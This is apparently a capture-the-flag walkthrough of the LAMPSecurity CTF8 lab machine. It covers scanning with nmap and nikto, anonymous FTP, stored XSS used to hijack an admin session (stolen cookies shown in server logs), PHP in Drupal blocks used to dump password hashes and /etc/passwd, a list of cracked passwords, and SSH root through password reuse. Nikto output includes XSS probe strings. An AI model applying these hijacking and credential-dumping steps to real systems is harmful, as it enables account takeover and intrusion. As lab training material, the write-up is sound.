LAMPSecurity: CTF8 Walkthrough

Reading time ~12 minutes


Source Information

Author: madirish2600
Series: LAMPSecurity
Download: download.vulnhub.com/lampsecurity/ctf8.zip

“The LAMPSecurity project is an effort to produce training and benchmarking tools that can be used to educate information security professionals and test products. Please note there are other capture the flag exercises (not just the latest one). Check the SourceForge site to find other exercises available here.”


Getting Started

“The secret of getting ahead is getting started.” –Mark twain

To start us off, let’s use arp-scan to ARP out across our local network and identify that the CTF8 box has leased the IP address 10.0.88.10.

calvinbebop@Dolos:~$ arp-scan -l
Interface: eth0, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.9.5 with 256 hosts (https://github.com/royhills/arp-scan)
10.0.88.1	52:54:00:12:35:00	QEMU
10.0.88.3	08:00:27:99:07:fb	Cadmus Computer Systems
10.0.88.2	52:54:00:12:35:00	QEMU
10.0.88.10	08:00:27:a5:48:e4	Cadmus Computer Systems

4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.5: 256 hosts scanned in 2.530 seconds (101.19 hosts/sec). 4 responded

Initial Service Enumeration

Next up, we’ll use Nmap to initiate a full TCP SYN scan of the CTF8 box (10.0.88.10) and search for some potential attack vectors in the system. A complete description of the tool’s flag usage can be found here. We’ll start by using the following flags:

Flag Description
-sS Utilize a TCP SYN scan
-sV Probe open ports to determine service/version info
-sC Run the default set of service scripts
-A Enable OS detection, version detection, script scanning, and traceroute
-p- Target all TCP ports from 1-65535
calvinbebop@Dolos:~$ sudo nmap -sS -sV -sC -A -p- 10.0.88.10
Starting Nmap 7.70 ( https://nmap.org ) at 2018-12-22 15:05 CST
Nmap scan report for 10.0.88.10
Host is up (0.00065s latency).
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.0.5
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x    2 0        0            4096 Jun 05  2013 pub
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 10.0.88.5
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 2.0.5 - secure, fast, stable
|_End of status
22/tcp   open  ssh         OpenSSH 4.3 (protocol 2.0)
| ssh-hostkey: 
|   1024 5e:ca:64:f0:7f:d2:1a:a2:86:c6:1f:c2:2a:b3:6b:27 (DSA)
|_  2048 a3:39:2d:9f:66:96:0d:82:ad:52:1f:a1:dc:b1:f1:54 (RSA)
25/tcp   open  smtp        Sendmail
| smtp-commands: localhost.localdomain Hello [10.0.88.5], pleased to meet you, ENHANCEDSTATUSCODES, PIPELINING, EXPN, VERB, 8BITMIME, SIZE, DSN, ETRN, DELIVERBY, HELP, 
|_ 2.0.0 This is sendmail 2.0.0 Topics: 2.0.0 HELO EHLO MAIL RCPT DATA 2.0.0 RSET NOOP QUIT HELP VRFY 2.0.0 EXPN VERB ETRN DSN AUTH 2.0.0 STARTTLS 2.0.0 For more info use "HELP <topic>". 2.0.0 To report bugs in the implementation see 2.0.0 http://www.sendmail.org/email-addresses.html 2.0.0 For local information send email to Postmaster at your site. 2.0.0 End of HELP info 
80/tcp   open  http        Apache httpd 2.2.3 ((CentOS))
|_http-favicon: Drupal CMS
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/ 
| /sites/ /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt 
| /INSTALL.pgsql.txt /install.php /INSTALL.txt /LICENSE.txt 
|_/MAINTAINERS.txt
|_http-server-header: Apache/2.2.3 (CentOS)
|_http-title: LAMPSecurity Research
443/tcp  open  ssl/https?
|_ssl-date: 2018-12-22T21:05:36+00:00; 0s from scanner time.
445/tcp  open  netbios-ssn Samba smbd 3.0.33-3.7.el5 (workgroup: WORKGROUP)
920/tcp  open  status      1 (RPC #100024)
3306/tcp open  mysql       MySQL (unauthorized)
5801/tcp open  vnc-http    RealVNC 4.0 (resolution: 400x250; VNC TCP port: 5901)
|_http-server-header: RealVNC/4.0
|_http-title: VNC viewer for Java
5901/tcp open  vnc         VNC (protocol 3.8)
| vnc-info: 
|   Protocol version: 3.8
|   Security types: 
|_    VNC Authentication (2)
MAC Address: 08:00:27:A5:48:E4 (Oracle VirtualBox virtual NIC)
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.30
Service Info: OS: Unix

Host script results:
|_clock-skew: mean: 1h40m01s, deviation: 2h53m14s, median: 0s
|_nbstat: NetBIOS name: LAMPSEC, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery: 
|   OS: Unix (Samba 3.0.33-3.7.el5)
|   Computer name: localhost
|   NetBIOS computer name: 
|   Domain name: localdomain
|   FQDN: localhost.localdomain
|_  System time: 2018-12-22T16:05:39-05:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)

FTP (21/TCP) Anonymous Access | Flag #1

One of the first things we may notice from the results of our Nmap scan is that not only is there an FTP service available, it also allows for an anonymous user login.

21/tcp   open  ftp         vsftpd 2.0.5
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x    2 0        0            4096 Jun 05  2013 pub
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to 10.0.88.5
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 2.0.5 - secure, fast, stable
|_End of status

Using Filezilla to login as the anonymous user, we are able to pull down our first flag!

#flag#5eb798d41d2e53295d34005f49113fc0

Unfortunately, it does not look like we’re able to use the anonymous user for uploads though.

Status:	Logged in
Status:	Starting upload of /var/www/html/reverseme.php
Command:	CWD /pub
Response:	250 Directory successfully changed.
Command:	TYPE A
Response:	200 Switching to ASCII mode.
Command:	PASV
Response:	227 Entering Passive Mode (10,0,88,10,39,103)
Command:	STOR reverseme.php
Response:	550 Permission denied.
Error:	Critical file transfer error

HTTP (80/TCP) Enumeration (Scanning)

Let’s go ahead and kick off a nikto scan of the web server in the background while we conduct a manual investigation of the site. There’s a plethora of useful information given to us from nikto, however we’ll focus on the manual investigation for now.

calvinbebop@Dolos:~$ nikto -h http://10.0.88.10
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          10.0.88.10
+ Target Hostname:    10.0.88.10
+ Target Port:        80
+ Start Time:         2018-12-22 16:15:42 (GMT-6)
---------------------------------------------------------------------------
+ Server: Apache/2.2.3 (CentOS)
+ Retrieved x-powered-by header: PHP/5.1.6
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ OSVDB-3268: /scripts/: Directory indexing found.
+ OSVDB-3268: /includes/: Directory indexing found.
+ OSVDB-3268: /misc/: Directory indexing found.
+ OSVDB-3268: /modules/: Directory indexing found.
+ OSVDB-3268: /profiles/: Directory indexing found.
+ OSVDB-3268: /sites/: Directory indexing found.
+ OSVDB-3268: /themes/: Directory indexing found.
+ "robots.txt" contains 36 entries which should be manually viewed.
+ OSVDB-39272: favicon.ico file identifies this server as: Drupal 5.1.0
+ Apache/2.2.3 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ /phpinfo.php?VARIABLE=<script>alert('Vulnerable')</script>: Output from the phpinfo() function was found.
+ OSVDB-4806: /support/messages: Axis WebCam allows retrieval of messages file (/var/log/messages). See http://www.websec.org/adv/axis2400.txt.html
+ OSVDB-12184: /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: /?=PHPE9568F34-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: /?=PHPE9568F35-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-3092: /includes/: This might be interesting...
+ OSVDB-3092: /marketing/: This might be interesting...
+ OSVDB-3092: /misc/: This might be interesting...
+ OSVDB-3092: /sales/: This might be interesting...
+ OSVDB-3092: /support/: This might be interesting...
+ OSVDB-3092: /user/: This might be interesting...
+ OSVDB-3092: /scripts/: This might be interesting... possibly a system shell found.
+ OSVDB-3092: /manual/: Web server manual found.
+ OSVDB-3093: /mail/src/read_body.php: SquirrelMail found
+ OSVDB-3093: /webmail/src/read_body.php: SquirrelMail found
+ /phpinfo.php: Output from the phpinfo() function was found.
+ OSVDB-3268: /icons/: Directory indexing found.
+ OSVDB-3268: /manual/images/: Directory indexing found.
+ /phpinfo.php?GLOBALS[test]=<script>alert(document.cookie);</script>: Output from the phpinfo() function was found.
+ OSVDB-3092: /scripts/showuser.cgi: Shows the output of the 'whoami' command, which shows the web server user.
+ OSVDB-3092: /UPGRADE.txt: Default file found.
+ OSVDB-3092: /install.php: Drupal install.php file found.
+ OSVDB-3092: /xmlrpc.php: xmlrpc.php was found.
+ OSVDB-3233: /INSTALL.pgsql.txt: Drupal installation file found.
+ OSVDB-3233: /icons/README: Apache default file found.
+ /webmail/src/configtest.php: Squirrelmail configuration test may reveal version and system info.
+ OSVDB-3092: /.git/index: Git Index file may contain directory listing information.
+ /.git/HEAD: Git HEAD file found. Full repo details may be present.
+ OSVDB-81817: /?q[]=x: Drupal 7 contains a path information disclosure
+ /.git/config: Git config file found. Infos about repo details may be present.
+ 9175 requests: 0 error(s) and 80 item(s) reported on remote host
+ End Time:           2018-12-22 16:28:09 (GMT-6) (747 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

HTTP (80/TCP) Enumeration (Manual) | Flag #2

Welcome to CTF8’s primary website, LAMPSecurity Research.


Checking in on the source of the home page, we’re able to find our second flag!

#flag#550e1bafe077ff0b0b67f4e32f29d751

Navigating into one of the blog entries from the home page, we are able to see that the site allows for comment inputs from guests of the site.


In the spirit of breaking things, let’s attempt a basic test to check for XSS (Cross Site Scripting) vulnerabilities within the commenting system.


Bingo!


XSS Exploitation - Session Hijacking Attack

We’ll now attempt to use the XSS vulnerability we discovered to launch a session hijacking attack against the other user’s of the site. Firstly, we’ll need to setup an HTTP server on our local (attacker) machine to receive the incoming stolen session IDs/cookies.

calvinbebop@Dolos:~$ service apache2 start
calvinbebop@Dolos:~$ service apache2 status
 apache2.service - The Apache HTTP Server
   Loaded: loaded (/lib/systemd/system/apache2.service; disabled; vendor preset: disabled)
   Active: active (running) since Sat 2018-12-22 17:27:06 CST; 34s ago
  Process: 28104 ExecStart=/usr/sbin/apachectl start (code=exited, status=0/SUCCESS)
 Main PID: 28108 (apache2)
    Tasks: 7 (limit: 4915)
   Memory: 14.1M
   CGroup: /system.slice/apache2.service
           ├─28108 /usr/sbin/apache2 -k start
           ├─28109 /usr/sbin/apache2 -k start
           ├─28110 /usr/sbin/apache2 -k start
           ├─28111 /usr/sbin/apache2 -k start
           ├─28112 /usr/sbin/apache2 -k start
           ├─28113 /usr/sbin/apache2 -k start
           └─28114 /usr/sbin/apache2 -k start


We then submit a comment to the post with the following Javascript code snippet. When the victim’s browser executes this code, it will send an HTTP GET request to our attacker machine that includes the victim’s stolen session ID/cookie.


We can also see that this post was submitted by a user Barbara.


Using the site’s user contact page, we can send Barbara a link to the article to simulate a targeted attack.


After a few minutes, we can see our first batch of stolen cookies come in!

calvinbebop@Dolos:/var/log/apache2# sudo cat * | grep 22/Dec | grep -v "127.0.0.1" | grep -v "10.0.88.5"
10.0.88.10 - - [22/Dec/2018:18:12:02 -0600] "GET /SESSfc1bd34caa7d99af80db03d749397e53=j94qillr0ho22u8tafhq0bdvh4 HTTP/1.1" 404 553 "http://10.0.88.13/content/lampsec-point-security-available" "Mozilla/5.0 (Unknown; Linux i686) AppleWebKit/534.34 (KHTML, like Gecko) PhantomJS/1.9.0 Safari/534.34"
10.0.88.10 - - [22/Dec/2018:18:12:07 -0600] "GET /SESSfc1bd34caa7d99af80db03d749397e53=1d6o64k3ri88fogkku75vao8v6;%20has_js=1 HTTP/1.1" 404 563 "http://10.0.88.13/content/lampsec-point-security-available" "Mozilla/5.0 (Unknown; Linux i686) AppleWebKit/534.34 (KHTML, like Gecko) PhantomJS/1.9.0 Safari/534.34"


Using a cookie modification add-on for Firefox, we’re able to change our session ID value to the stolen value, 1d6o64k3ri88fogkku75vao8v6. This can also be accomplished using a proxy tool such as Burp.


And just like that, we’ve successfully hijacked Barbara’s session!


Exposing the Drupal Database

After hijacking Barbara’s web admin account, we now have the ability to create and post new content that includes PHP code. We’ll now attempt to create a post that contains PHP that will try to create a reverse webshell connection back to our attacker machine.


Unfortunately, it appears that the system account responsible for execution of this code has rather limited privileges as attempts to utilize PHP for connecting out via reverse webshell or opening a listening port to connect into the victim machine with both fail with a failure to daemonise error. However if we look closely though, we can identify that this server is running an instance of Drupal for its CMS.


Checking back to our intial web scans, we can actually find that Nikto identified this as an interesting point of investigation.

+ OSVDB-3092: /install.php: Drupal install.php file found.


Drupal also allows for dynamic code execution in Blocks. Let’s create a new block that will attempt to execute some PHP code to dump the usernames and passwords of every account in the Drupal database!


Success!


Hash Identification/Cracking

Using Hash-identifier (or an equivalent online tool), we’re able to determine that these are MD5 hashed strings.

calvinbebop@Dolos:~$ hash-identifier 
   #########################################################################
   #	 __  __ 		    		__		 	 ______    _____	       #
   #	/\ \/\ \		   		   /\ \ 		/\__  _\  /\  _ `\	       #
   #	\ \ \_\ \     __      ____ \ \ \___		\/_/\ \/  \ \ \/\ \	       #
   #	 \ \  _  \  /'__`\   / ,__\ \ \  _ `\	   \ \ \   \ \ \ \ \	   #
   #	  \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \	    \_\ \__ \ \ \_\ \	   #
   #	   \ \_\ \_\ \___ \_\/\____/  \ \_\ \_\     /\_____\ \ \____/	   #
   #	    \/_/\/_/\/__/\/_/\/___/    \/_/\/_/     \/_____/  \/___/  v1.1 #
   #								 By Zion3R 							   #
   #							www.Blackploit.com 						   #
   #						       Root@Blackploit.com  				   #
   #########################################################################

   -------------------------------------------------------------------------
 HASH: 25e4ee4e9229397b6b17776bfceaf8e7

Possible Hashs:
[+]  MD5
[+]  Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))

Luckily for us, MD5 hashes are relatively easy to crack and numerous online sources are happy to provide the “decrypted” strings for provided hashes.

Hash Result
25e4ee4e9229397b6b17776bfceaf8e7 adminpass
49265c16d1dff8acef3499bd889299d6 football123
bed128365216c019988915ed3add75fb passw0rd
2a5de0f53b1317f7e36afcdb6b5202a4 letmein!
08d15a4aef553492d8971cdd5198f314 drupal
c3319d1016a802db86653bcfab871f4f 1website
9b9e4bbd988954028a44710a50982576 superSun123
7d29975b78825ea7c27f5c0281ea2fa4 MonsterDrink
518462cd3292a67c755521c1fb50c909 4summer13
6dc523ebd2379d96cc0af32e2d224db0 1loveU
0d42223010b69cab86634bc359ed870b BobMarley
8f75ad3f04fc42f07c95e2f3d0ec3503 BaseballSeason
ed2b1f468c5f915f3f1cf75d7068baae 12341234
ca594f739e257245f2be69eb546c1c04 sitepass
85aca385eb555fb6a36a62915ddd8bc7 Seventy70
573152cc51de19df50e90b0e557db7fe swanson
c7a4476fc64b75ead800da9ea2b7d072 cherry
42248d4cb640a3fb5836571e254aee2b buddahbrother
971dcf53e88e9268714d9d504753d347 drupalpassword
3005d829eb819341357bfddf541c175b thundercats
7a1c07ff60f9c07ffe8da34ecbf4edc2 fantasy
7c6a180b36896a0a8c02787eeafb0e4c password1

Rooted - User Account Password Reuse

After attempting to login to each account using the available first names and our new set of passwords, it looks like the server is configured with user accounts using a different naming convention than just first names. A good way to get a list of configured usernames is by retrieving the /etc/passwd which may be possible by adding an include statement to our malicious PHP code block.


Aaaand success.


Excluding the account names that have limited direct access to a shell (as shown by the /sbin/nologin), we have a pretty decent list of accounts to attempt to authenticate against. Working our way down the list with our newly acquired password list at the ready, we can pretty quickly find ourselves SSH’d into the server and escalating to root without hassle.

calvinbebop@Dolos:~# ssh spinkton@10.0.88.10
Welcome to LAMPSecurity Research SSH access!
#flag#5e937c51b852e1ee90d42ddb5ccb8997

Unauthorized access is expected...
spinkton@10.0.88.10's password: 
Last login: Thu Mar 27 12:48:29 2014 from 192.168.56.1
#flag#motd-flag
[spinkton@localhost ~]$ sudo su
Password: 
[root@localhost spinkton]# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) context=user_u:system_r:unconfined_t


EOL

Thank you for sticking around for this week’s boot2root. I think this box quite nicely illustrates how dangerous password reuse can really be!
As always, if you have any questions, corrections, or comments, please feel free to reach out to me on Twitter and have yourself an excellent day!